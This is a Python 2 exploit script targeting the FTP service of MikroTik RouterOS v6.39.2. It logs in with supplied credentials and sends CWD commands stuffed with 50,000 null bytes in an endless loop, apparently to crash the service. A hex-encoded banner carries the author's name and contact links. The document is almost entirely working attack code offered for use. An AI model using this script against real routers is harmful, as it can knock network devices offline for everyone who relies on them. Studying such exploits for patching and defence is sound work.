import time,sys import socket from ftplib import FTP # mikrotik RouterOS v6.39.2 FTp buffer cwd command # sultan albalawi if len(sys.argv) < 4: print 'ie: python ' + sys.argv[0] + ' "' print 'Example: 192.168.1.1 21 admin admin' sys.exit(1) def myB(): print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \ "\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \ "\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \ "\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \ "\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \ "\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \ "\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \ "\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \ "\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \ "\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \ "\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \ "\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \ "\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \ "\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \ "\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \ "\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \ "\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \ "\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \ "\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \ "\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \ "\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \ "\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \ "\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \ "\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \ "\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \ "\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \ "\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \ "\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \ "\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \ "\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \ "\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \ "\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \ "\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \ "\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \ "\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \ "\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \ "\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \ "\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \ "\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \ "\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \ "\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \ "\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \ "\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \ "\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \ "\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ myB() host=sys.argv[1] port=int(sys.argv[2]) u = sys.argv[3] p = sys.argv[4] try: pause=3 command=["GET ", "ABOR ", "ACCT ", "ALLO ", "ABOR ", "APPE ", "CDUP ", "CWD ", "DELE ", "HELP ", "LIST ", "MDTM ", "MKD ", "MODE ", "NLST ", "NOOP ", "PASS ", "PASV ", "PORT ", "PWD ", "QUIT ", "REIN ", "REST ", "RETR ", "RMD ", "RNFR ", "RNTO ", "SITE ", "SIZE ", "STAT ", "STOR ", "STOU ", "STRU ", "SYST ", "TYPE ", "USER ", "XCWD ", "XPWD ", "XCUP ", "CDUP ", "XMKD ", "XRMD ", "STOU ",] print len(command) m=5000 for i, val in enumerate(command): for dd in range(m): evil = "\0"*50000 evilTYPE= (command[7]+evil) print i, command[7], sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) open = sock.connect_ex((host,port)) sock.close() while True: ftp = FTP() ftp.connect(host,port) ftp.login(u,p) for i, val in enumerate(command): ftp.sendcmd(evilTYPE) ftp.sendcmd(evilTYPE) print ftp.sendcmd(evilTYPE) ftp.close() time.sleep(pause) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) open = sock.connect_ex((host,port)) open = sock.connect_ex((host,port)) sock.close() except Exception, msg: print msg,"host"